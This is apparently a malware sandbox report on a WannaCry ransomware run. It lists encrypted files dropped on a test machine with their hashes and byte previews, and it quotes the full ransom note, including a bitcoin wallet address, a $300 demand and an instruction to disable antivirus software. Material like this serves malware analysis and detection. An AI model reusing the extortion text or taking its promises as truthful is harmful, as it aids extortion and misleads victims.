                                                                                                                        Preview:WANACRY!....T.}....Te?BE.;.\R...em..ag.].I.].W...}..3.=1;.....K.....?..W...R.9...$.>.`.zH..bO.y.1.w..KS.../8..B......Q.r.......r.cFU.e...........d.*....&BC+>.)a......K..=L.j/...r'.F{=6.._DP..x5L+..!__.ICu..5..\.T..6,!.~q+.?T,....QVX47CB..c.......Q-P.\.t.............?...a.-9.....nb3>.2HS.8.\"7AP...b~+V..8.M`...)R.R .x.{.....*F......h.g.+..v=.\....5/..b...1a.R....w.!".@...{.....x0..~&....l,.D\=.L.)..f%.Qp ..s.B...;...l....x...j'?.3..(W./..........:s.I..k...cA.R.0.A..~@l.....B.P]}Z3..a.H.&d..>..4.p...+...#....II.k...X.j....L....H.-.B5....q....U.|.....`x..GB...<..s.Q..~..g;.J.....yhk.=.68..fP.....e9.B.M...J.FY.I.Nh.......M,..W.."..RK.U6.v.R.j'.M.o'..........l.o.1..*..T....k\.D....z.G.o+.ft..E.,%$...D.S.?..W.TB..,,.....<..Z)..OD.......H..qA.i.xI.T.C.-$....f....P!.1.....c.~..).L.g..).......s...y!..u&.p.K...g....P..9.V"...g.....P.e.w...[A..X.tJ.y.@....:.U".$V....h_.j6U..c..S.......,....>.f..'.V....j...?.......,.Z.3...0.....B..7cJ..1.6P$....{..@.......

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\BNAGMGSPLO.mp3

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.810847979469905
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:FvbT3U2aky1avvc9ttp3VAX5CeQgvIfcub+aQIOff6Mf34PqzqCu9PEnIU:K4ygQBVAXgogcDSu6k4CzqCu9PEt
                                                                                                                        MD5:93E57DF8EDA3FB2F02B596264C00CA5D
                                                                                                                        SHA1:8ACE43F4C7FEB0ECD637C53D7558F6B8FE0EDCB0
                                                                                                                        SHA-256:8CA0B5CF56623D1E51CC535680CECD411C614E195777919F3D42096AE8365EEE
                                                                                                                        SHA-512:2E334056CBDE1EA2FB5F98F8F1DDC176E2C8152849F999249A5DB1DFC845CE0A8E742F097613A33CE1D9DC4DA3D7E26D3785B121B9B0AB2AA25FD407FD050B07
                                                                                                                        Malicious:false
                                                                                                                        Preview:.........bg...`.._).O..O...].......z`*...).b.9Dw.3:.*a.....J..|.k.v.K.D....9..A...C.@.+[..%'.Ye`..<V.?$...Sw.....!..~s........Ea. ...0...[.$..H".D./0..T....x.Z..=F'..$...Bd.......R....)..<SJ..m..].u.?$.n6..:+.../..sl..d..r.@q..n.2.<...{.c..9...g....A!D...R.O...8.Y...V..<.u..6tf..iM....qa.........cz.2..}D>....2...u..>*...&.... .!...J4.>Jo...ad ?.Hx..r0..d......[Mh.:.r$.S=J.]=.>.#Z...6N..nY.6x|z.6....P..~._s..)...*..td.9[;....nMryIZ,$#..z.eZ....B....9Z.x...`.....vS.D~.B...3.Z.4{......u7....dA.X:..d.S...|:..z....#uM.......zc...<@...*?.7.0o..>.......u.8N..Q..(B.Q.5$....92..~%s..;u&..~...R.JMb.....*x....*Jw'.u$3.!m...L......B...b..P........@...f.jl..A.......-.{..+.!.j.....Fz.q.PJ.f/S.*....L.....I1.0F.."..%..=x>..Xc&@.z...i0.o..Q0......>Q.E.}.-5.,.N}.28.j..t#{.o.."....j..h.<....s{X1J.k;l.(.I..g.G_............/t.i7..[.a...._..-..t....6.......z...=....6bXba.\.|.u.6.R5.D0...5.s.z..B;...$.S.)9q`qH...........d`%.1....q.Q..S....}.W.........a..iy!.H.b.u.

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\BNAGMGSPLO.mp3.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.841150195165426
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bknJ3WeqCcXsGpMiWmmE3e0AbIN15ABHSV22X6vS3heQ20l3Zn7LMzj/IvYp:bkJ3X1li4Q+sN1+d66vCMQ2S3Z3MQI
                                                                                                                        MD5:3E4572F2D2E745588265700104E6D403
                                                                                                                        SHA1:F3DD9F6718F7A9EEFED14525F0A0D8D3DCF7808A
                                                                                                                        SHA-256:2C9CFD2FF9C2CBD25E440286CFA0D934D38624ADCBFC4A7868DD8377591687F6
                                                                                                                        SHA-512:962C03CADFCE73FC8DA04F73607211AE5218FE547823A8D226D88F6251A47B2D8798E398BB76A6E111F2E467BB09580C4419B02AE11321B7A205FA4416389C16
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......c.gQ...$qyZ.......DU@..I..&.......9.*......#.G 5Z.g....<....JX...{..a..!..O../.....U..F....V...2T.b..l.,.S...3o".pgmr..m.(w..a.......k..;i....m......E*...Ic.....R.8..).#..#zg<.....;.=.g.4.T.?_..n..%Y.Y...@........bl..".$....O....p.;..f...v.............L...G..c..4...~.Z........&...y..7U.;.....w.!...a.n.....6.,......G.(Q.Zfg.d^/iVdJ..Q.52V04...Hg...L.......E..}..N...6..#.x.O...B....S{.9.o......3L.^.y.....g...$..?.....Hi..L....|...n.7V......H.O....if.4TO..b$jO[.$...~@...J9.tU.c(........ }w.h....&._..g..Y..I.aAWY.3j1e...(9.....R.S.....#.q....w@.Dm.h..v...$:~.2./..u.XY)RGl..~.@s.n....6..........ML!g'...6....^v.7.sQ~.G...............J"j....g..7V.eQ..i.6.E....%...Bcp....../.8d..d36.^Q1..+...*<....A.x;..h..,..V.j..0..k.^.l.|.(Q.....}.>...{.....QWG$x+j..}..L..Q^rR45G...g.6.......a0....l.Vac..L.uoI..).<N.H.PB..a.[[r...8....?."7...<K...1....b.........Ylc....FF.x.Gf..$g..7.......~..J...f.sd.3..0.qL..ib.Y..P..l..u..*0.....V5.D.9)

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\BNAGMGSPLO.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.841150195165426
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bknJ3WeqCcXsGpMiWmmE3e0AbIN15ABHSV22X6vS3heQ20l3Zn7LMzj/IvYp:bkJ3X1li4Q+sN1+d66vCMQ2S3Z3MQI
                                                                                                                        MD5:3E4572F2D2E745588265700104E6D403
                                                                                                                        SHA1:F3DD9F6718F7A9EEFED14525F0A0D8D3DCF7808A
                                                                                                                        SHA-256:2C9CFD2FF9C2CBD25E440286CFA0D934D38624ADCBFC4A7868DD8377591687F6
                                                                                                                        SHA-512:962C03CADFCE73FC8DA04F73607211AE5218FE547823A8D226D88F6251A47B2D8798E398BB76A6E111F2E467BB09580C4419B02AE11321B7A205FA4416389C16
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......c.gQ...$qyZ.......DU@..I..&.......9.*......#.G 5Z.g....<....JX...{..a..!..O../.....U..F....V...2T.b..l.,.S...3o".pgmr..m.(w..a.......k..;i....m......E*...Ic.....R.8..).#..#zg<.....;.=.g.4.T.?_..n..%Y.Y...@........bl..".$....O....p.;..f...v.............L...G..c..4...~.Z........&...y..7U.;.....w.!...a.n.....6.,......G.(Q.Zfg.d^/iVdJ..Q.52V04...Hg...L.......E..}..N...6..#.x.O...B....S{.9.o......3L.^.y.....g...$..?.....Hi..L....|...n.7V......H.O....if.4TO..b$jO[.$...~@...J9.tU.c(........ }w.h....&._..g..Y..I.aAWY.3j1e...(9.....R.S.....#.q....w@.Dm.h..v...$:~.2./..u.XY)RGl..~.@s.n....6..........ML!g'...6....^v.7.sQ~.G...............J"j....g..7V.eQ..i.6.E....%...Bcp....../.8d..d36.^Q1..+...*<....A.x;..h..,..V.j..0..k.^.l.|.(Q.....}.>...{.....QWG$x+j..}..L..Q^rR45G...g.6.......a0....l.Vac..L.uoI..).<N.H.PB..a.[[r...8....?."7...<K...1....b.........Ylc....FF.x.Gf..$g..7.......~..J...f.sd.3..0.qL..ib.Y..P..l..u..*0.....V5.D.9)

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\GAOBCVIQIJ.jpg

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.796681495124586
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:/eINyqVOhxssKmdJH46nurhvWpWcT+XjilqnqNmqhj://NyMOhxsubnurhOpBqzgmej
                                                                                                                        MD5:931991E39E09BC3383D12A09A14BE6CB
                                                                                                                        SHA1:23DEEE9FA14AE539AD292705B8AF4C193A0EE111
                                                                                                                        SHA-256:784F6ECA2C05E49D66376B299556543F31AEE7C6F09686D2E2F30C70890EDD90
                                                                                                                        SHA-512:BF841DE8D41A1C19F089E6D6DC4183D9E0E9AD34C49CAABC03890E7C304052CB014369CE1DEEC734027AB8D63920C37B6775E8AE47690DEED88491B9C5FDA5A8
                                                                                                                        Malicious:false
                                                                                                                        Preview:....I...o.HG.3.p.>.........x.k.F 4VAW.u\tGU...`..+g6A.8....(7....sbA.0...I\Wg..W.t...Z....?.9h..]y...... ......".Iy6...EBo........8....."s..=.E,...7..F=.....r?(.A.<....r.........^.&....l.Q1.z.."e..T.|.r.C&....].%n7&..{.%L.....u.!..AN.....0......`H..r...@L..W..4d}...Aa.S.q.~..(...s..1.....d5U..A..j...O..7.W..=....X.Fe".(g.y......)....;....E.^@.Ae....|*..z.....B'..G%.X..Rp:S..+.I......5..zp.w......._.6...Y.(........z)"\..>.....N..C^T.N.i...P.5.....5.....S..%.....iS....#...V.6[.u.`(.u..|4>.Rp...LG..?.....'MU..s{....-.....K%..K.T.I....M.)vo4f.....w....W....8.....h.H..a.o.%.!j.3......R.Y..9..nG...tk! .26.$n..X......!'8.........w.'q..,x.N...V..n..#..."O8+.2.NiZ6T...N...ya.g....Wm..UZ..=.:..tf..p.N...O7lM.Y!......+V..*_...B"..G=.uQo& ..G..O$qv.s..n+.U#..mu....g.........7/&....".......rvb......Z..V..?.~....RaF.h...-...y)Q.R-KQ..'.?...K.v.R;...}&..^....G..m..R\6..u.....9....H3.'..D$..9...bSf....%(.55.6..8.!....K...k.G .)T.R..)..1..vtt

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\GAOBCVIQIJ.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.871527226363222
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk0+NDB90kfcsbAHL5hR6BjoC89x0dGy/pCye8Zlq067qPWmYEcr3BJ:bk0AlO7sUbRAEz9qhCic70xQv
                                                                                                                        MD5:72A28159D88FF344A1F8831C3B0B6F0D
                                                                                                                        SHA1:6F812FE7788D580B9B42FF9480E55497ACBD0C6F
                                                                                                                        SHA-256:423969408EB3BA3E1F08C2FD83406171EC0C4FF46F27E8476B2EAF6B25351EE7
                                                                                                                        SHA-512:05A16A9411ED12D725D3901272632B6C0C3540E0E8E04D953D0630E43F5ACC9EB19590C4D06F4E1F18C62F7C80141A2784D56E95DA3C39B93773F2B1EE5A19EE
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......i.. u....[.....|.....*@....7..8......?........|.o].k.Z..&..#\.KyK..H....%.$(z...E...U..-U......,...^.......a~.].:.Gq&..m..FTH.jk..3.g22{.k.......A<..].c.?.....,4f~..dp..s.4^H..#.......!.8...>..E.........9/sV.A....PP..+;.G.V.{b...... .e............0m7-d=....Uu...@s%B.s....... f...7.`......!Ax...A.).......L..s..}..w..bD...=.4L:S.0CDm,%..Oa....V=...#/yW...3.|..l.[.3...vM.RD.......qF..G.O...^.^v..D.r&..h.tUo..K.uf.I..........nD.s.$..fO..o.(..`...n..]>......E:...%+....{..~.R.+.)...._.D..i.9..D........,k......r.u.......S...Gz.n}.TB.<..f..6M"g./`.j.+..!.!./......dop..S.h..^....&..;.l}.|gB...&...L......v....A..=..\........h.2....U.Y.}`...>......'7.d8....l.N..+..;.....+/.'.Y...*...w...+.......8"(.K...'K$.......L.B.G.*.@.+..[.T....zo.7..1.5.......-.....Bk-ct>...=B.....d7...b.....R...ZJ..+.....kQ.0....%K.=.oy..^.u.i..-d.r..3_9d.N./.G...... ft.c.k...;.....0H..>.<.}...G#%D..`u....._.,7.L$......3.I..B"QD7.%s.?..=).U.1Hl..I..y..<....

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\GAOBCVIQIJ.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.871527226363222
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk0+NDB90kfcsbAHL5hR6BjoC89x0dGy/pCye8Zlq067qPWmYEcr3BJ:bk0AlO7sUbRAEz9qhCic70xQv
                                                                                                                        MD5:72A28159D88FF344A1F8831C3B0B6F0D
                                                                                                                        SHA1:6F812FE7788D580B9B42FF9480E55497ACBD0C6F
                                                                                                                        SHA-256:423969408EB3BA3E1F08C2FD83406171EC0C4FF46F27E8476B2EAF6B25351EE7
                                                                                                                        SHA-512:05A16A9411ED12D725D3901272632B6C0C3540E0E8E04D953D0630E43F5ACC9EB19590C4D06F4E1F18C62F7C80141A2784D56E95DA3C39B93773F2B1EE5A19EE
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......i.. u....[.....|.....*@....7..8......?........|.o].k.Z..&..#\.KyK..H....%.$(z...E...U..-U......,...^.......a~.].:.Gq&..m..FTH.jk..3.g22{.k.......A<..].c.?.....,4f~..dp..s.4^H..#.......!.8...>..E.........9/sV.A....PP..+;.G.V.{b...... .e............0m7-d=....Uu...@s%B.s....... f...7.`......!Ax...A.).......L..s..}..w..bD...=.4L:S.0CDm,%..Oa....V=...#/yW...3.|..l.[.3...vM.RD.......qF..G.O...^.^v..D.r&..h.tUo..K.uf.I..........nD.s.$..fO..o.(..`...n..]>......E:...%+....{..~.R.+.)...._.D..i.9..D........,k......r.u.......S...Gz.n}.TB.<..f..6M"g./`.j.+..!.!./......dop..S.h..^....&..;.l}.|gB...&...L......v....A..=..\........h.2....U.Y.}`...>......'7.d8....l.N..+..;.....+/.'.Y...*...w...+.......8"(.K...'K$.......L.B.G.*.@.+..[.T....zo.7..1.5.......-.....Bk-ct>...=B.....d7...b.....R...ZJ..+.....kQ.0....%K.=.oy..^.u.i..-d.r..3_9d.N./.G...... ft.c.k...;.....0H..>.<.}...G#%D..`u....._.,7.L$......3.I..B"QD7.%s.?..=).U.1Hl..I..y..<....

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\MXPXCVPDVN.xlsx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.798254510874656
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ryu8DvnLIuseMNI4CmxDmgu+CFel5N4L6OahAOdUSn4S:ryu8Dvn0a4CmxDpjuel5e6PFn4S
                                                                                                                        MD5:40DAF7C60162CC05E10591012503C4B0
                                                                                                                        SHA1:79ADED176E636EFDA4369EC91FAA1EAE123EC196
                                                                                                                        SHA-256:A0736447C6E1DCCC4E13C0EA3E5F9F5408524B72BCC93CD817AEDAFD5759CEB1
                                                                                                                        SHA-512:B22C42F15C4EE0A2ACCC0CEFF19E9EE95F366A35A8F0E1DCD9664708ED2438B2E0E5D919EA28010625AC494B7FE104E5CB7AB470F7AF4C7CF41CDA8E55412919
                                                                                                                        Malicious:false
                                                                                                                        Preview:1..V...[..B.Xg....p.:.!......M.....L._..(m.<.-...V)O...!#7...\k....2W.1.O.r.O*>j:l..3K.......M...D3.A....q...^/..^0....u........&.j.....h.....'3.....^.x.1.j{o&....`...C.V..$*Y#..........6...dL..QC.|Y.F.......v5....}K.`ov...n.c...I.!....I......+<....7;.Y.WN......NUg....M......u.....l.M^>.D.l..@!.....).V)G....G....=FwKk........Z.W...~__..E.8i....[~....YI..h6._5.@yM....7.v....A..H|.^..R_...L...=....@..k../.=.c.......B.N..5`...9...e#.......X.....t]..Y...^....d.u..,.h.%.39...`.HC..&.+6......e.......Ur.......b..42.c...2/C..=.R..L.Euw..}..zA...|..Q.s....h/.&mV..".F.\.....z..K..{z,..........^.I..vW..d.A.....@8^.f.(W.....sw...6...8h5.....l;=..>V.[3.....C...O.R.,.)LRw.M2ekz.r@4^m.r..f..d..!...'...@.=o.0e...{!.).!..2..n....]...#!L..{.kU>..#..0...\... /.Kp.j..+]#.....s.5........c.^B.*......I.....{.0....u.P...h.>......ek#..H.. ....Zz...Zc....m.x*....[L.c..qAJ>9....CY..:q.p.g..d.o_0p..z.D31qJ.....wP.g..o...t.........,...W/..t.......W....q^

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\MXPXCVPDVN.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.841448432659287
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkuCwT5Q4W0h5k1+OgO5IOdmUrvtalQBkZboKLXzPjjnT4PlGk/hjWlMQx:bkuCwtQgvfTudmUrl9BQEKLXzrLT4rhI
                                                                                                                        MD5:F745194FB02A4EF5D0DC4691452C1265
                                                                                                                        SHA1:B03F84FDAC74CBA9975EDD8E353A22AAF9DF06BB
                                                                                                                        SHA-256:AA7EC59A456C8ECD2A22E1B7077169796ADF87D0D65925520A37964EA8A66904
                                                                                                                        SHA-512:A01E7285A7A2A42D464D49D8A03EE58A806074652E5534A1E144BA11A13564AA6E2A98EB94BD9A4161D4B69CB53C27A328847DFEAA76FA5D0D754AE1543A5100
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......8f?.....(iA....0.&U...@.....=. C8g_>FH.e..#8..;A..G...ng..k.p..3.GHa...O.....)s......X,...........K.r.....t..)I..4D..Q..<.fr..y....].>.~s+..F.G#..`.Z..r..+...F.$2.G.....QR.W.?r.ed-)GK......X.|./..z.........y....*.g..9..D.^....Lc.^`..?.0..................>2\X...a].....>.$..2.%@i.6]f1..M..@....|...Lc.l.\....t._va......f............`.Q.S......5{.W.;..M....|...e.^......[.......,...r.e..Y...m@..%...$.Y.V`...p@r....gM].+...j.Q..].;.B..i..l/g....|......O.r...!....x.'k.S....6....x.......m...fX.(C18.....w.{.t......s<...^*.....e.......X..s.@..ryil.O.Bv68O..N.*..cy6.Zy..Y...0CC].".....&...B..G"!...P.=.....h.-.\..."..".B.i./.F..........y......1h.n3....v..lz&....,..D}.'B.x.'.e.....Cn.z1B.a...._..K9......fZw...ba..._......nX...:.&.wC.x....9.<qN4..S.2..j.`9.....Q.....mZ.6..c.....d..K..49..s...T.o..=........U.E.K...mC......iX...A....j}.2k5.jkYF...&V..v.=...8.>.'..U...~+.....s...?.{.zAP...9....}.P.8]....I.S0.T....u|....YiC..^~w.

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\MXPXCVPDVN.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.841448432659287
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkuCwT5Q4W0h5k1+OgO5IOdmUrvtalQBkZboKLXzPjjnT4PlGk/hjWlMQx:bkuCwtQgvfTudmUrl9BQEKLXzrLT4rhI
                                                                                                                        MD5:F745194FB02A4EF5D0DC4691452C1265
                                                                                                                        SHA1:B03F84FDAC74CBA9975EDD8E353A22AAF9DF06BB
                                                                                                                        SHA-256:AA7EC59A456C8ECD2A22E1B7077169796ADF87D0D65925520A37964EA8A66904
                                                                                                                        SHA-512:A01E7285A7A2A42D464D49D8A03EE58A806074652E5534A1E144BA11A13564AA6E2A98EB94BD9A4161D4B69CB53C27A328847DFEAA76FA5D0D754AE1543A5100
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......8f?.....(iA....0.&U...@.....=. C8g_>FH.e..#8..;A..G...ng..k.p..3.GHa...O.....)s......X,...........K.r.....t..)I..4D..Q..<.fr..y....].>.~s+..F.G#..`.Z..r..+...F.$2.G.....QR.W.?r.ed-)GK......X.|./..z.........y....*.g..9..D.^....Lc.^`..?.0..................>2\X...a].....>.$..2.%@i.6]f1..M..@....|...Lc.l.\....t._va......f............`.Q.S......5{.W.;..M....|...e.^......[.......,...r.e..Y...m@..%...$.Y.V`...p@r....gM].+...j.Q..].;.B..i..l/g....|......O.r...!....x.'k.S....6....x.......m...fX.(C18.....w.{.t......s<...^*.....e.......X..s.@..ryil.O.Bv68O..N.*..cy6.Zy..Y...0CC].".....&...B..G"!...P.=.....h.-.\..."..".B.i./.F..........y......1h.n3....v..lz&....,..D}.'B.x.'.e.....Cn.z1B.a...._..K9......fZw...ba..._......nX...:.&.wC.x....9.<qN4..S.2..j.`9.....Q.....mZ.6..c.....d..K..49..s...T.o..=........U.E.K...mC......iX...A....j}.2k5.jkYF...&V..v.=...8.>.'..U...~+.....s...?.{.zAP...9....}.P.8]....I.S0.T....u|....YiC..^~w.

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\NEBFQQYWPS.pdf

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.821584329966496
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:fZeXq/CCY21WbGpswU7R7eChWCkT69rQJp:sajXMskR74CD2/
                                                                                                                        MD5:2E45B533B3759B8DAADD5BF4DB57B0AA
                                                                                                                        SHA1:057EC47F0A99C6C137AC9D63C3C1254DB3B217E0
                                                                                                                        SHA-256:43318BBC3A13E0B268294D37FDFF948673001E75A5F5691FADE017AE07765EB6
                                                                                                                        SHA-512:91D60DD317327A8AEFEC302244EF42ABC5ACC52DDAD4AFBA87AF91438389C90FB85F819ECEE6AF8D310CFB366559AF8FC9997EB966E901228F322B40B569D789
                                                                                                                        Malicious:false
                                                                                                                        Preview:...f....#...4.(...'....uD.A.h....{o`..._.Ic..h.5=...w..8o....:C......;.<...(..t.e.......u.^r....g-...$..'.X...|..7..o.&.x_.7.a....Yz.4.~.....(d..W%.=...W..1..x.l.\#6....~_qB..%.6..:T.5L.Vs..w.".\/.-.[a..W.;]...*.).scT..R..6H.n.A.....3..v..(+.a)....'.5'..{.o`[.......@.F...y5{..x*c......i.K...l.....0j....5.Q.;...h.k..K.5...=.nY.....p..(..9RK?(x...a..[..>...J.J...zE.y.L.:.p..|.N.....N.....?..S.*u..sbof...M.*....c&...s...........j..o"....u..n...9z....6U&r@.....7...G..K&U..9..Sh...!..\......&'..L.qum.Q.....&.O<t....A*..T.{...zc.........k./`.X..x7...?..v./Q........JhX.B.oL....h..0.P..<....d?m..w..........Ku....`.9V..5(o.\o....?..c.?...*.7.Ug.%.cc........%d.D..F=q.zOV.a..6.,.V-.a..b..LH}d..= ...fX[...Z....s...el{..-.(...........K.&... .Yt.N.[.rfMc.k<w./8....@..3Qf((...RqW..U...1...N.9H...e.Iv.C......z..4.Z.K.UQX</ik..Oo..W..n.B......W....m-..4j......D."....U..8?Pk..mZ.>..VK....t._.j.QN..U.\.>.j.tGL..C..=..E.+i.2.O.i.,..l...^l..Z.&...f...M..!.RP.r.

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\NEBFQQYWPS.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.850049319154567
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk+Ngf5QOS/tkKJzlVW4Fvh1K/asKAZlkA9a/Kg4knWNEecDz:bk+ef5QJ/tkKJz3W4b25HkAwCAn3/z
                                                                                                                        MD5:DB59B6E0C4DF46A9480E8B6A611104D0
                                                                                                                        SHA1:C872AFAAD6842413E6F4918DD8843E17A1B80D8C
                                                                                                                        SHA-256:53D1BBD69BC0E104CBAB70DF0CE66CC8B1E7B1F9B37FB6B7D2AF57E257A4A480
                                                                                                                        SHA-512:547D3841F469247BFF1C3E843B3FADD5E6B47617861405F85A3A3A46681C414ACE41AA3446149A2D36870FD0748AC165C9704673CF92AF533A33FD230F8D9258
                                                                                                                        Malicious:false
